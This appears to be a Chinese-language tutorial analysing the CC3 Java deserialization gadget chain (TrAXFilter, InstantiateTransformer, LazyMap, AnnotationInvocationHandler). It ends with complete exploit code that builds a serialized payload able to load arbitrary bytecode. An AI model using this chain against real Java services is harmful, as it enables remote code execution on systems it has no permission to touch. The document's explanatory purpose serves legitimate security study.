CC3链补充

CC3链补充

ysoserial中使用TrAXFilter类,来触发newTransformer方法,最后也可以成功进行类加载

这里我们也进行分析一下

CC3攻击链分析

调用newTransformer

我们来看`TrAXFilter`的构造函数,构造时需要传入一个templates ,然后调用他的`newTransformer`方法,但是这个类并没有继承Serializable接口,如果我们能找一个调用其构造函数的方法,我们就可以成功执行代码
1
2
3
4
5
6
7
8
9
10
public class TrAXFilter extends XMLFilterImpl

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

调用TrAXFilter构造方法

CC3的作者找到了InstantiateTransformer这个类,看名字就知道这个类是用来初始化Transformer

它会判断你传入的是不是一个Class类型,如果是的话就会调用其指定参数类型的构造器

我们需要new一个InstantiateTransformer,将构造器的参数类型和参数传入,然后将TrAXFilter的class类传入,它就会根据参数类型去调用TrAXFilter的构造方法,并将参数传入

最后一步就会return我们构造好并进行实例化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

}
......
}

根据如上解释,中间部分换为如下代码,就可以执行恶意代码了

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

调用transform方法

由于cc1的老毛病,我们还是使用`ChainedTransformer`去调用其transform

如下代码相当于调用了instantiateTransformer.transform(TrAXFilter.class)

剩下的和之前的是一样的

1
2
3
4
5
6
7
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

//可有可无
Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

serialize(o);
unserialize("ser.bin");

}